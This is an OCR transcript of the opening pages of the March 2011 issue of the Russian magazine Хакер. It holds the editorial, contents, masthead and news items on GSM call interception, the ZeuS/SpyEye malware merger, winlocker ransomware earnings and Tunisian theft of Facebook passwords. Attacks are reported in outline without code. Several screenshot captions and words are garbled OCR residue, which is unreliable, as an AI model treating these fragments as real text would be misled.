Top Banner
PALEVO: ИСПАНСКИЙ ЧЕРВЬ С РУССКИМ НАЗВАНИЕМ СТР.74 ЖУРНАЛ от КОМПЬЮТЕРНЫХ Х ВЫБИРАЕМ ЗАМЕНУ ДЛЯ ПОПУЛЯРНОЙ СУБД СТР.22
131

Хакер март 2011

Mar 21, 2016

Download

Documents

Readcat Readcat

Хакер март 2011
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Хакер март 2011

PALEVO: ИСПАНСКИЙ ЧЕРВЬ С РУССКИМ НАЗВАНИЕМ СТР.74

ЖУРНАЛ от КОМПЬЮТЕРНЫХ Х

ВЫБИРАЕМ ЗАМЕНУ ДЛЯ ПОПУЛЯРНОЙ СУБД СТР.22

Page 2: Хакер март 2011

- Папа, что такое некомпетентность и равнодушие? - Не знаю, сынок, мне пофигу.

Некомпетентность и равнодушие - два порока, которые не несут ничего хорошего ни пораженным людям, ни их окружению. Нет ничего хуже некомпетентных действий от человека, которому принято доверять, и решения кото­рого подразумевают ответственность. Некомпетентность никогда не приходит одна: ведь нормальный человек, ощущающий ответственность за результат, просто не смо­жет симулировать квалифицированную работу. Истинная некомпетентность под силу только равнодушным людям.

Некомпетентный врач, некомпетентный строитель, не­компетентный дизайнер, некомпетентный программист. На каждую профессию найдутся толпы «специалистов», готовых оказать услугу, но из каждой толпы только пара человек будут профессионально пригодными. В нашей с тобой отрасли, в IT, эта ситуация даже пожестче, чем в строительстве и отечественной медицине

Как-то раз ко мне обратились друзья, создававшие в тот момент стартап - каталог определенных товаров. Весе­лый фрилансер сделал им сайт, но по какой-то причине система работала крайне медленно даже на тестовой

посещаемости - 1 посетитель в час. Мне стало крайне интересно, в чем же дело, и я решил покопаться в сорцах, изучить структуру БД.

Вполне ожидаемо, что внутри оказались фаршеподоб­ные таблицы шириной в 120 составных полей с типа-ми varchar[20) для целочисленных идентификаторов, смешанный в нечитаемое говно монолитный слиток из кода, данных и разметки, а также три десятка других ярких артефактов программистской несостоятельности. Удиви­тельно, что человек, считающий себя профессионалом и даже имеющий «высшее техническое образование», никогда не слышал ни о нормальных формах, ни олроцес­се проектирования БД. ни о концепции разделения кода, данных и интерфейса.

Желаю тебе главного - уметь признавать свои ошибки, безболезненно учиться новому, стремиться быть компе­тентным и неравнодушным профессионалом. Верю, что Х тебе в этом поможет J

nikitozz, гл. ред. Х udalite.livejournal.com httR:Uvkontakte.ru/club 10933209

Page 3: Хакер март 2011

CONTENT MegaNews 004 Все новое за последний месяц

FERRUM. 016 Теcrирование накопителей NAS

РС ZONE. 022

028

Жизнь после MySQL Прокачиваем «мускулы», или где найти замену для популярной СУБД?

Файлы-призраки, или охотники за привидениями Как криминалисты восстанавливают надежно

удаленные данные?

034 Анализатор памяти офлайн Используем Memoгyze для исследования системы

и поиска мал вари

038 Колонка редактора Про регулярные выражения

ВЗЛОМ. 040

044

050

056

060

066

072

Easy-Hack Хакерские секреты простых вещей

Убойный пентеа Повышение привилегий в домене Windows

Обзор эксnnоитов Анализ свеженьких уязвимостей

Британника под колпаком Взлом знаменитой оффлайн-энциклопедии

Ошибки архитектуры Простые дыры в сложных вещах

С V V I амыи лучшии ... квеа.

Руководство по прохождению HackQuest 201 О

X-Toots Программы для взлома

MALWARE. 074 Без Patevo!

Рассматриваем потроха испанского червя с русским названием

078 Вирус на Python Изучаем возможности полноценного злокодинга

на интерпретируемом языке

ЮНИКСОЙД. 082 Поднятая целина

Осваиваем и обустраиваем консоль

088 Зоопарк на карантине Запускаем небезопасный софтбез вреда системе

094 Веб-серфинг в шапке-невидимке Libeгte Liпuх: ОС для настоящего анонимуса

КОДИНГ . 098 Return-Oriented Rootkits наступают!

Проблемы ОСей на нынешнем этапе строительства

гражданского общества

1 02 Скриптинг для Мас OS Х Начинаем программировать на AppleScript

106 Дышим свежим AIR'OM Вкуриваем в Adobe AI R - кроссплатформенную

среду для онлайн и оффлайн-кодинга

11 2 Программерские типсы и триксы Многопоточные классы

11 5 Юзаем iPhone из Мас OS Х Закрытые возможности Мас ОSХдля работы

с мобильными устройствами oTApple

SYN/ACK. 11 8 Как работают DLР-сиcrемы?

Разбираемся в технологиях предотвращения утечки информации

122 Титаны клаcrерного фронта Решения от Microsoft и Огасlедля построения кластеров

128 Копилефт наносит ответный удар Современные тенденции защиты авторского

права в контексте «Дела Жукова»

ЮНИТЫ 132 Фантомные нити управления сознанием

Бессознательные эффекты и иллюзии в арсенале опытного

манипулятора

138 FAQ UNITED Большой FAQ

142 Диско 8.5 Гб всякой всячины

144 WWW2 Удобные wеЬ-сервисы

Page 4: Хакер март 2011

074 Без Patevo! Рассматриваем потроха испанского червя с русским названием

/РЕДАКЦИЯ >Гnавный редактор Никита «nikitozz» Кислицин [nikitozlareal.xakep.rul >ВЫПУСКlIOЩИЙ редактор Никола й«gогL»Дндреев [gorlumlareal.xa kep. rul

>РеАакторы рубрик взлом Дмитрий«FогЬ» Докучаев [forblareal.xa ke р. ru 1 PC_ZONE и UNIТS Степан «step» Ильин [steplarea l.xakep.ru 1 КОДИНГ, MALWARE и SYN/ACK Александр «Ог. Юоuпiz» Лозовский [alexanderlareal.xakep.rul UNIXOID и PSYCHO Андрей «Andrushock» Матвеев [andrushoeklareal.xakep.rul

>Литературный реАакт.р Анна Аранчук

>DУD Выпускающий редактор Степан «Step» Ильин [stepla геа l.xa kep. ru 1 Uпiх-раздел Антон «Ant» Жуков lantitsterlag mail.eom 1 Sесuгitу-раздел Дмитрий «0191» Евдокимов levdokimovdslagmail.coml Монтаж видео Максим Трубицын

>Редактор xakep.ru Леонид Боголюбов Ixafareat.xakep.rul

/ART >АРТ-Аиректор Евгений НОВИКОВ >Верстаnьщик Вера Светлых

/PUBLISHING (game)land >Учредитеnь ООQ«ГеймЛэнд», 115280. Москва, ул.Ленинс· кая Слобода, 19, Омега ПЛдза, 5 этаж, офис NO 21 Тел., [4951935-7034, факс, [4951545-0906 >Генераnьный директор Дмитрий Агарунов >Генераnьный издатель Денис Калинин >Зам. генерального издателя Андрей Михайлюк >Редакцмонный директор Дмитрий Ладыженский >Финансовый директор Андрей Фатеркин >Директор по переоналу Татьяна Гудебская >Дмректор по маркетингу Елена Каркашадзе >гnавны�й дизайнер Энди Тернбулл >Директор по производству Сергей Кучерявый

/РАЗМЕЩЕНИЕ РЕКЛАМЫ Тел., [4951935-7034, факс, [4951545-0906 /РЕКЛАМНЫЙ ОТДЕЛ >Директор .руппы TECHNOLOGY Марина Комлева Ikomlevalaglc.гul >Директор по раэвитию направлений АВТОиНi-Fi Венера Хамидулина [khamidulinalaglc.гul

066 С

у у I амыи лучшии ... квест. Руководство по прохождению HackQuest 201 О

022 Жизнь после MySQL Прокачиваем «мускулы», или где найти

замену для популярной СУБД?

>Старwие менеджеры Оксана Алехина laLekhinafaglc.rul Мария Нестерова [nesterovalagle.rul >Менеджеры Ольга Емельянцева Елена Поликарпова >Аднинистратор Юлия Малыгина ImaliginafagLc.rul

>Директор корпоративной .руппы (работа с рекламными агентствами) Лидия Стрекнева !strekneva0gLc.rul >Старwие менеджеры Ирина Краснокутская Наталья Озира Кристина Татаренкова >МенеАЖер Надежда Гончарова >Старwий трафик-ненеАЖер Марья Алексеева (alekseevafagLc.rul > Директор по ПРOAlже peкnaMЫ на МАН ТУ Марина Румянцева

/ОТДЕЛ РЕАЛИЗАЦИИ СПЕЦПРОЕКТОВ >Директор Александр Коренфельд >Менеджеры Александр Гурьяшкин Светлана Мюллер

/РАСПРОСТРАНЕНИЕ >Директор по Дистрибуции Кошелева Татьяна !koshelevafagtc.rul > Руководитель отдела подписки Гончарова Марина > Руководитель спецраспространения Лукич ева Наталья > Менеджеры по продажам Ежова Лариса

Кузнецова Олеся Захарова Мария > Претенэии и дополнительная инфа: В случае возникновения вопросов по качест­ву печати и DVО-дисков: claimfaglc.гu. > Горячая линия по подписке Факс для отправки купонов и квитанций на новые подписки, [4951545-09-06 Телефон отдела подпискидля жителей Москвы, [4951663-82-77 Телефон для жителей регионов и для звонков с мобильных телефонов, 8-800-200-3-999

> Дnяписем 101000, Москва, Главпочтамт, а/я 652, Хакер Зарегистрировано в Министерстве Российской Федерации поделам печати, телерадиовещанию и средствам массовых коммуникаций ПИ Я 77 -11802 от 14.02.2002 Отпечатано втипографии «Zapolex», Польша. Тираж 159916 экэемпляров.

Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номере предоставляются как информация к размышлению, Лица. использующие данную информацию в противозаконных целях, могут быть привлечены к ответственности. Редакция не несет ответственности за содержание рекламных объявлений в номере. За перепечатку наших материалов без спроса - преследуем. По вопросам лицензирования и получения прав на использование редакционных материалов журнала обращайтесь по адресу: content0gLc,ru

© 000 «ГеймЛэнд», РФ, 2011

Page 5: Хакер март 2011

'bjM�I:Vit" Мария «Mifгilt. Нефедова ImlfrlН@g.m.l.nd.ruJ

е anews ЕЩЕ ОДИН СПОСОБ «СЛУШАТЬ» GSM О взломах GSМ-сетей [в частности. алгоритмов шифрования], мы уже

писали неоднократно [например, о системе Kraken, способной вскрыть

А5/1]. Также мы рассказывали а том, что сам взлом, на который ранее

требовалось продолжительное время, теперь стал осуществим за

минуту-другую. Вся проблема заключалась лишь в подборе и покупке

аппаратуры - задача это непростая и совсем не дешевая [речь идет о

тысячах вечнозеленых денег]. GSМ-операторы от проблемы тогда пред­

почли отмахнуться - мол, слишком все это сложно, дорого и трудоемко.

И, как всегда, оказались неправы. Недавно на конференции Chaos

ComputerClub Congress было продемонстрировано, что для перехвата

GSМ-переговоров вполне достаточно связки «ноутбук-сотовый», притом

В качестве телефона может выступать самая примитивная модель

«Моторалы» за $15. Уязвимость GSМ-сетей в очередной раз доказали

исследователь из Security Research Labs Карстен Нол и программист

Сильвен Мюно, участвующий в проекте по созданию свободной GSM­

прошивки OsmocomBB. Для взлома им понадобился лишь собствен­

норучно перепрошитый GМS-телефон «Моторола», подключенный

к ноутбуку с набором открытого ПО. Сам метод взлома таков: жертве

отправляется поврежденное или пустое SМS-сообщение, которое

никак не отображается на телефоне получателя. Затем, путем снифинга,

выявляется случайный идентификатор сессии. Снифер как раз создан

на базе модифицированной «Моторолы» за пятнадцать баксов - за счет

перепрошивки аппарат получает куда больше данных от сотовой сети,

чем обычный телефон, и практически в реальном времени сливает все

это в компьютер [канал подключения тоже немного оптимизирован].

После того, как нужный поток выявлен, остается лишь решить вопрос его

расшифровки. Здесь в игру вступаетодин из багов GSМ-сетей: многие

операторы до сих пор не удосужились ввести защиту, которая заменяла

бы нулевые заполняющие биты в проверочных пакетах на случайные

значения. А пока такой защиты нет, содержание этих пустых сообщений

легко предсказуемо. Само вскрытие 64-битного ключа шифрования

происходит при помощи двухтерабайтной «радужной таблицы», собран­

ной энтузиастами. Занимаетэто около двадцати секунд. Ввиду того, что

большинство операторов [опять же, пренебрегая безопасностью], долго

используют один и тот же сессионный ключ как для голосовых соедине­

ний, так и СМС-сообщений, перехваченную последовательность можно

применить и для расшифровки последующих телефонных звонков

жертвы. Подробности доклада и полезные материалы можно найти на

официальном сайте конференции: еvепtS.ссс.dе.

» 100 млн пользователей используют для обмена файлами сети BitTorrent, если верить официальному пресс-релизу компании.

ZEUS + SPYEYE ? •

МelnCPa.bd �.""

"-key Connoct«int8tv8I lоес) КilZeu8: Ое. COOIdeI еnd seuionI: 8n.Jt&.fofcecertlf'tc:atel: t.og ody '''''''''''' (NIpoJ UR1:o: comprмa with Unlque Stub Generatoг. EnaЫe saeen8hot configuratlan:

IWebIl'Ijerts)

� 004

Spy Еуе, ... 1.., ..... фJ.t,,\ 1col1ac1O.J.txt tvour En� к.у � Г JabbetNOOflcation

_.-

Г VNC МOdUIe (wиh b8dc:-conned) Г� Г AuЫJpdate г г

г г г г

Еще недавно инструментарии ZeuS и SpyEye были непримиримыми конкурентами,

беспощадно уничтожавшими детища друг друга на зараженных машинах, а теперь

они обьединились. Специалисты в области информационной безопасности уже бьют

тревогу, ведь новая сборка SpyEye вобрала в себя все «лучшие» черты обоих тулкt-tтов,

являя собой действительно чудовищный гибрид. Что послужило поводом к такому

слиянию, доподлинно, разумеется, не известно, хотя андеграунд и полнится слухами

а том, что автор «Зевса» решил уйти на покой и оставил все свои наработки наиболее

достойному преемнику - создателю SpyEye, известному как GгiЬоdеmоп/Нагdегmап

Как бы то ни было, результат впечатляет Новая версия сохранила интерфейс SpyEye,

но обросла функционалом ZeuS. Главные фишки новой сборки: поддержка раз­

личных плагинов и опция обхода системы безопасности Т r usteer Rapport, которой

пользуются многие банки. Также улучшили функцию извлечения паролей, добавили

уведомление через Jabber, включили модуль VNC, а также функции автоматического

распространения и обновления. Упомянутые выше плагины, позволяют снабжать

жертв фейковыми страницами и упрощают атаки против пользователей Firefox. Если

раньше SpyEye воровал данные из зашифрованного хранилища Windows, то теперь,

благодаря плагину ffcertgrabber, он способен пролезть и в папки, где свои данные

хранит«Лиса». Гибрид двух тулкитов уже вовсю продается на черном рынке, и, по

данным специалистов Тгепd Micro, пара серверов уже использует новую версию

мал вари. Похоже, можно ждать появления новых крупных ботнетав.

ХАКЕР 03 1 1461 20 1 1

Page 6: Хакер март 2011

КАНРОВЫЕ ПЕРЕСТАНОВКИ С ра зу две круп ные IT - ко м п а н и и объявили об изменен и я х в высшем руководя щем составе. Первой стала Ap ple, чей генераль­ный ди ректор Сти в Джобс взял бессроч н ы й отпуск п о состо я н и ю здоровья . Напом н и м , что в 2009 году Джобс уже п ровел на боль­н и ч ном пол года , та к как леч ился от рака поджелудочной желез ы и перенес пересадку пече н и . Не хочется думать о худшем , но очевидно , что победить заболевание окончател ьно Сти ву тогда не удал ось , с чем и связан е го н ы неш н и й отпуск. В официальном обращен и и Джобс заверил , что продолжит зани­мать п ост генерал ьного ди ректора и будет участвовать в п р и н ятии основных стратегических решен и й . В реме н н ы м управля ющим станет опера ционный ди ректор App le Ти м Кук, уже п одменявший Джобса в 2009 . У ко м п а н и и Goog le тоже сменится руководител ь , тол ько не в ременно , а посто я н н о . П ост генерал ь н о го ди ректо ра в скором в ре м е н и зай мет один и з о с н ователей п о и с ко в о го г и га нта -Л а р р и Пейдж. Э р и к Шм идт, з а н и м а в ш и й ди ректо рс кое кресло с 2 0 0 1 года , из Goog le тоже уходить не соби рается - он оста нется в ко м п а н и и в ка честве п редседателя п р а в ле н и я , а та кже будет со ветн и ком Пе йджа и Б р и н а .

"" Средняя цена ворованной банковской карты на черном рынке, по " данным Panda Labs, составляет порядка $2. За $80 можно получить подробности о средствах на счету. В случае, если сумма средств превышает $82 000, заплатить за такую «детализацию» придется уже $700 .

... ВИРУСЫ БИЗНЕС

ПРИБЫЛЬНЫИ

Пополнить счет абонента БИЛДЙН N2 8-963-724-50-49 на сумму 360 рублей ПОCl1е оплаты, на выданном терминалом чеке оплаты, Вы найдете код. который необходимо

ввести 8 поле, расположенное ниже. ПОC/lе ввода кода реt<JIЗМНЫЙ модуль эвтоматичесlCИ УДЗЛИТaI

Желаем приятного просмотра эра-видео.

� 006

Компания Trend M icro опубл и ковала и нтересные да н н ые, получен н ые в ходе исследования деятель­ности троя WORM_R IXOBOTA [он же TROJ_RANSOM. QOWAI. Упомя нутый зловред сам по себе не особенно и нтересен , он относится к классу винлокеров и рас­пространяется в основном через порн осаЙты. За раза весьма «популя рна» на территории России - только за декабрь 20 1 0 года вирь был скачан порядка 1 37 000 раз. И нтересно другое: изучая деятел ьн ость зловреда , спе­циал исты Trend M icro сумели получ ить доступ к одн ому из координационных серверов злоум ы шлен н и ков . На сервер стекалась информация о поступлениях средств на шестьдесяттелефонных номеров, п редназначенных специал ьно для сбора «подати» с жертв. После а нал иза да н н ы х выясн илось , что только за последние пять не­дель SMS на указанные в блокировщике номера отпра­вили более 2 500 человек, то есть почти 2% владельцев зараженных П К. Уч итывая , что стоимость одной та кой S М S · ки соста вляла 360 рублей , несложно подсч итать, что за месяц с небол ьшим мошенники стали богаче на 901 245 рублей [$29 .5 TbIc . l . П родолжая ариф мети ку, выч исляем, что годовой доход п реступ н и ков , с пециали­з и рующихся на ви нлокерах, почти дости гает отметки в 100 000 000 рублей. И нтересно , после этих цифр кого-то еще удивляет попул я рность ви нлокеров и тот фа кт, что их п и шут все более п рофессионально и сер ьез но?

Х А К Е Р о з 11 46) 20 1 1

Page 7: Хакер март 2011

ИНФОРМАUИОННЫЕ воины. FACEBOOK. Есл и ты ничего не сл ышал о нынешней политической ситуации в Тунисе, сообщаем - ты пропустил так называемую « жасминовую революцию», а говоря проще - государствен ный переворот. Но любая современная война была бы неполной без своей информационной со -ставляющеЙ. С пецслужбы Туниса реш или объявить войну социальной сети Facebook, через которую оппозиция распространяла « неугодные» власти видеоролики, проводила организацию митингов и та к далее. Gmail и Уаhоотакже попали под раздачу, но история, прикл ючивша­яся вокруг Facebook, и нтереснее. Спецслужбы страны на уровне ISP внедрили JavaScript, который при обра щении к упомянутым ресур-сам при нудител ьна менял соеди нение HTTPS на НТТР и добавлял к стра ницам десять строк кода . Таким образом осуществлялся сбор логинов и паролей пользователей 1 кстати , поговаривают, что он мог начаться еще летом 201 О , когда провайдер-монополист впервые перекрыл тунисцам доступ к HTTPS] . Получив данные для авториза­ции , скрипт ш ифровал их и помещал в U RL, добавляя пять случайных символов. Затем данные перехватывались на уровне национального ISP. Что сделали спецслужбы с полученной информацией? Все просто, они при нялись пачками удалять «опасные» аккаунты оппозиционе­ров. Однако оказалось, что служба безопасности Facebook тоже не дремлет. Еще в конце декабря директор по безопасности Facebook Джо Салл иван обратил внимание на странные жалобы, поступающие из Туниса, и поручил своей команде разобраться. Пришлось пово-

зиться, зато к 5-му я нваря стало ясно, что ситуация совершенно дикая - скомпрометированными оказались пароли всех пользователей Тунисской республики , и спецслужбы действительно трут а ккаунты 1 Другая компания , возможно, не стала бы встревать в эти политические дрязги , но в Facebook приняли решение отнестись к проблеме как к чисто технической. И, по сути , социальная сеть вступила в войну с пусть и небольшим, но целым государством 1 Вдохновившись статья ми Клэя Ширки и Евгения Морозова, которые детально описывали мето­ды спецслужб, безопасники Facebook взялись придумывать ответные меры. 1 О-го я нваря для всех пользователей Туниса была вкл ючена новая двухуровневая система защиты : все запросы из Тун исской Рес­публи ки теперь перенаправлялись на НТТРS-сервер Iвообще-то ISP может принудительна переводить сессию в НТТР, но этого отчего-то не произошло], а также запустили процедуру дополнительной аутенти­фикации. Теперь, перед тем как впустить пользователя на сайт, ему предлагают узнать нескольких своих друзей по фотографиям. Как н и странно , такие нехитрые меры пока помогают, а тунисцы благодарят Facebook и Марка Цукерберга за поддержку.

"" 51,8% девайсов на Android работают под управлением версии 2.2 " мобильной ОС от Google. При этом на самом последнем релизе - 2.3-всего 0.4% смартфонов.

ВИДЕО БЕЗ ПРОВОДОВ Мы уже не разупоминали а том, что широкое распространение беспроводной передачи видео - дело недалекого будущего. Уже сейчас существуют различные Iконкурирующие, кстати] технологии, позволяющие передавать « картинку по воздуху» , например WiгеlеssНD, WHDi и WiDi . Однакодо последнего времени рынок предлагал нам разве что различ ные Wireless USВ-девайсы, да новые ноутбуки , плееры и телевизоры со встроенными передатчи ками­п риемниками упомянутых выше стандартов. Если ты неулавливаешь, к чему я веду, поясню - решений для десктопов попросту не было. Если, конечно, не считать USВ-устройств, которые далеко не идеальны и ктомуже заметно бьют по карману. Теперь такой гаджет есть - это видеокарта KFA2 NVIDIA GeForce GTX 460WHDI. Фактически, это первая видюха для десктопов, построенная на технологии WHDllWireless Ноте Digitаl l пtегfасе] . Если в твоем мониторе нет встроен ного приемника WНDI-сигнала lаутебя его нет, правда?] , не отчаиваЙся. Хорошая новость заключается в том, что он поставляется в комплекте с видеокартой. Радиус действия сигнала WHDI

� 008

составляет порядка тридцати метров lи стен ы ему не помеха 1 ] , наличествует поддержка FullH О 11 080р]. Кроме того, стоит сказать, что GeForce GTX 460 WHDI - это еще и 1 Гб памяти GDDR5 с 256-битным интерфейсом, что явно придется по душе приложениям, использующим техно­логию CU DA. А чего стоят пять здоровенных

антенн , которые торчат из видюхи - это просто праздник какой-тоl :] В продажу необычная новинка должна поступить в самое ближайшее время. Цена устройства до сих пор неизвестна. Впрочем, можно подключить к делу логику и предположить, что дешевым это удовольствие окажется врядли .

ХАКЕР 03 11 461 2011

Page 8: Хакер март 2011

'M@�IM1

«ВКОНТАКТЕ» НАШЛИ ПИРАТА Почти каждый раз, когда до нас доходят известия об очередных раз­би рательствах на почве сетевого п и ратства, мы с сарказмом совету­ем нашим борцам за «авторское лево» заглянуть в социальные сети и удивиться количеству нелегального контента. То л и наши ехидн ые ком ментарии были услышаны , то ли идеи п росто витают в воздухе . . Словом, получ ите и распиш итесь - первый п рецедент. П ротив юзера « ВКонтакте» возбудили уголовное дело за размещение музыки на стра нице. Теперь 26-летнему москвичу грозит шесть леттюрьмы [ст. 1 46 Уголовного кодекса РФ - нарушение авторских и смежных прав] . В отделе « К» сообща ют, что пользователем они заинтересовались после обращения в милицию предста вителя 000 «Фирма грамза­писи « Н икитин». Фирма была кра й не недовол ьна тем, что аудио­материалы , исключительные права на которые принадлежат ей, спокойно и - о ужас l - бесплатно расп ространяются по « ВКонтак­те». Наиболее злостн ым на рушителем оказался тот самый 26-летни й житель столицы, размести вший у себя на стра нице восемнадцать аудиозаписей некой российской муз ы кальной груп пы Iназвание не разглашается] , ч исло ска ч иваний которых п ревысило 200 000. Также

М ВД назы ваетсумму ущерба - п равообладатель якобы понес ущерб в в иде недополученной вы годы в размере 1 08 000 рублей . Стран ное ч исло , было бы очень интересно узнать, ка ким образом оно получе­но. Подводя неутеш ител ьный итог, нужно заметить, что хотя у нас и не прецедентное право, пример « Фирмы грамза писи « Н и китин » все равно может понравиться другим п равообладателям , и последуют новые обращен ия в орга н ы и новые уголовные дела .

» 80 новых планшетных устройств были представлены на ежегодной выставке CES 2011, прошедшей в Лас-Вегасе.

СВЕРХТОНКИЙ МОНИТОР Чем компактнее мон итор, тем больше места будет на столе - это понятно любому. П роиз­водители железа ведут настоящий невиди­мый бой, стремясь сделать свои мониторы еще легче, тоньше и уже. Серьезную заявку на победу в этом соревнова нии сделала компа­ния LG, представив улыратонкий LЕD-мони­тор Е90 с диагональю 2 1 .5». Отличает новинку, в первую очередь, глубина корпуса, которая составляет всего 7 .2 мм 1 Также устройство может похвастаться малым весом, экономич-

н ы м энергопотреблением IHa 40% меньше, чем обычные ЖК-мониторы с подсветкой CC FL] и ориги нальн ым хроми рова нным корпусом. За счет последнего Е90 смотрится совсем воздуш н ы м и изящным. Все разъемы ID-sub , DVI -D , H D M I ] спрятаны в задней части подста вки благодаря системе удобного под­кл ючения EZ-cabl ing . Радуют характеристики экрана: время откл и ка матрицы составляет 2 мс, разрешен ие - 1 920х1 080. Рекомендова н­ная цена для да нной модели - 1 3 000 рублей .

БЕСПРОВОДНАЯ ЗАРЯДКА ДЛЯ ВСЕГО

� 0 1 0

Н а уже упомянутой в ы ше выста вке CES л юбоп ытную разработку представила компания eCoupled. Специал исты eCouplea утверждают la независимые э ксперты подтверждают], что им удалось создать беспроводные зарядные устройства 90% эффективности - то есть при передаче сигнала теряется всего 1 0% энерги и . Это очен ь круто в сравнении со сходн ыми п родуктам и кон курентов и практически аналогично обычной « проводной» зарядке. Предполагается , что заряжать оттакой ста нции с равн ым успехом можно ка к мобил ьный телефон , так и электромобиль, что и было продемонстрировано публи ке на при мере Tesla Roadster. По словам представителей eCoupled , чтобы л юбой девайс стал совместим с их за рядной ста н­цией, достаточно уста новить в него специальную катушку ITaK как в основе технологии лежит электромагн итная и ндукция] . По цене такой п рием н и к вполне сопоста вим с устан овкой других зарядных решен ий .

ХАКЕР 03 1 1461 2 0 1 1

Page 9: Хакер март 2011

АРР STORE - ТЕПЕРЬ И для «МАКОВ»

! Wlш'sНоt '" "1'.

r; ТWI"tr h<1I1N<_�"" "'*11*" 1"1111 .... �

::::-1< 8"'1I'1\''A" tofl\lOll. ..........

��:' О\У 1"'It'/t-* �1"\IOt'

.........

...N., КО,

\ ' :1 ::� � := ... ,.

li3 " ... "',.,

,

"' Со", ..

.. :=;'; "''''9' � WIIIt.bNtcI: CoIll, • "'�11\'I11 1I'1r*\'(Инlo�,.

......

"'� ." 1r*1It*'I:IliH:tI"".

C1IID

__ 8 !111tpl,ШОI

,wackt11 W •• ,1Мf 1\'''I'l�''W1r 4101",-"'9' ....

��::;r l 1 1'1'1'1'*.(( 'IoIRII"'II'

.........

I'tO<l<><,Io\,y **1"** '1�"""", .........

�� . I'I'1'r.1rtr,H_, ....."...

ПI',"f!d'nl ,_о *1"11** L.�lI>IoII'j' .........

�Ik.tv Iralnflorm'

:t1ecl8J 1\"fI'�1r"" 1'''""" CIIШID

["""и", I w.I( ..... " ..... _, .......... CD .. 4<_ kppOl'

! All Cottt«k. ; 1 : � --I 1М.' "'�' I

. ' FamilyTree i

MakerJ.;.;tNc '

I I '.I'tIINIIHD

0-.. -

_. "I'I.�""OI"

"_"""'�iIf\ � ComkUf'l ,·htI· ,11 •• ,.1. _'<lМ!'r 11"11'*."" 1R.r!"'9'

lIO.=:,-

-

....... D

.". l 'rOflfree 1l1l.I"," IHI'1rtrA'H ... � ! � ...",.... ! To�1 Torl i i ,- G,,,o. 1. 1ooIh"',. с;, ..... , Ж"

.. *.*?\"* 1'''''''' " .... _D 1,.,..11 •• ,

--�

l'J:8 !,'tSIIH'fCКIII ).1IIowI1I �.t"'.IIf'

На радость всех «яблочников» компания Apple за пустила сервис Мас Арр 5tore даже раньше запланирован ного срока. Теперь у пользователей « Макинтошей» появился собс­твенный а налог Арр 5tore I который работает для iPhone , i Pod touch и iPad ] , позволя ющий максимально удобно устанавли вать как платн ые , так и бесплатн ые п р иложения для Мас 05 Все реализовано в лучших традициях Арр 5tore: покупка одн и м нажатием, п розрачная уста новка приложения , удобная система обновлений . К пользовательскому аккаунту iTunes привязы вается пластиковая карточка, с которой и будут списаны ден ьги за п риобретенные п риложения . Сейчас в Мас Арр 5tore уже более тыся ч и п рограмм , и их число постоя нно растет. Система работает на маши нах с установленной Мас 05 Х 5now Leopard. Вот смотришь на реал изацию магазина для Мас или менеджеры па кетов для Linux и думаешь: «Удивител ьное дело , ка к же M icrosoft до сих пор не реализовала ничего подобного?» . Вроде бы такая сама собой напраш иваю­щаяся штука, а н нет - ничего подобного н е существует. Слабо?

» Из 107 трлн. писем, отправленных за год, 89,1% были спамом (данные компании Рiпgdоm).

HOTMAIL «ПОТЕРЯЛ» КУЧУ КОРРЕСПОНДЕНЦИИ Оригинальный «пода рок» К Новому году сделал своим пользователям почтовый сервис Wi ndows Live Hotmai l от M icrosoft. Да, возможно ты уди вишься, но Hotma i l в наши дни пол ьзуются не толька спамеры , но и тысячи живых л юдей по ту сторону Атлантики Iвообще, это популяр­нейший почтовый сервис на планете] . 3алоги нившись в свои а ккаунты после праздн и ков, эти самые живые л юди с удивлением обнаружили пустоту. Все папки оказались девственно чисты , корреспонденция за многие годы исчезла, л и ш ь во «Входящих» , будто издевка, висело первое при ветствен ное п исьмо от Hot mail. На са ппортWiпdоws Live обруш ился шквал жалоб: уже на следующий день после и нцидента на официальном форуме этому воп росу были посвящены сотни стра ниц. Тем удивител ьнее звучит заявление Кэтри н Б рукер , сделанное чуть позже. Официальная представител ьница M icrosoft сообщила, что с проблемой стол кнулось « л и ш ь незнач ительное ч исло пользователей» , не дала н и каких кон кретн ых объя снен ий случ ивш егася и туманно высказалась, что « компания работает над устра нением неполадок» . Сейчас , по прошествии времени , ста новится ясно , что « устранение неполадок» заключалось в луч шем случае в п редотвращении анало­гичного сбоя в будущем , а возвращать исчезнувшие письма пользова­телям явно никто не собирается Лишний повод вспомнить о необходи­мости регулярно делать бэкапы .

ХАКЕР 03 ( 1 461 2 0 1 1 � 01 1

Page 10: Хакер март 2011

IftЩС1ЩIМi

....

ДВУХЪЯДЕРНЫИ СМАРТФОНЗАМЕНЯЕТ СИСТЕМНЫИ БЛОК Ежегодная выставка CES [Consumer Electronics Showl, прошедшая в Лос-Анджелесе в начале января, как обычно принесла информацию о множестве новых гаджетов. На наш взгляд, настоящим «гвоздем про­граммы» стал продемонстрированный там смартфон Motorola Atrix4G, так что о нем мы решили рассказать подробнее. Специалисты Motorola создали оригинальный многофункциональный девайс, окрестив его «модульным сотовым телефоном». Весьфокус в том, что этот андройд­аппаратлегким движением руки превращается в полноценный П К. Во­первых, Atrix 4G можнолибо подключить к любому НDМI-совместимому телевизору или монитору, присоединить к нему USВ-мышь и клавиатуру [все через миниатюрную док-станци юl , и получить вполне при годный для офисной работы ПК или приставку. Во-вторых, можно прикупить док-станцию в виде « пустого» ноутбука - экран 1 1 .6» , клавиатура, батарея и разъем для подключения смартфона, спрятанный за экраном. Какты понимаешь, во втором случае достаточно присоединить аппарат к « наутбуку» И опять-таки полноценный компьютер готов к работе. Тебе уже интересно, что у Atrix 4G внутри? Отвечаем : Motorola Atrix 4G - это, по сути, самый мощный смартфон на текущий момент. Этот небольшой с виду девайс с 4-дюймовым сенсорным дисплеем [960х540 пикселейl построен на базе двухъядерной платформы NVI D IA Tegra 2 и оснащен 1 Гб оперативной памяти. Пока устройство управляется ОС Android 2.2, но к моменту начала продаж обещают версию 2.3. Кроме того. новинка

комплектуется очень емким аккумулятором 1 930 мАч, которого будет хватать на 9 часов в режиме разговора, и при этом весит всего 1 36 г. Конечно, не обошлось без встроенной камеры [5 Мп со светодиодной вспышкойl, фронтальной VGA-камерbI для видеосвязи, поддержки Wi-Fi 802.11 bIg/n, Bluetooth, GPS, слота для microSD карт и такдалее. Какова будет цена этого маленького монстра, и когда стартуют продажи, пока не известно. Можно предположить, что в России , ввиду отсутствия официального представительства Motorola, устройство появится не очень скоро, а по цене будет равняться полноценному лэптопу.

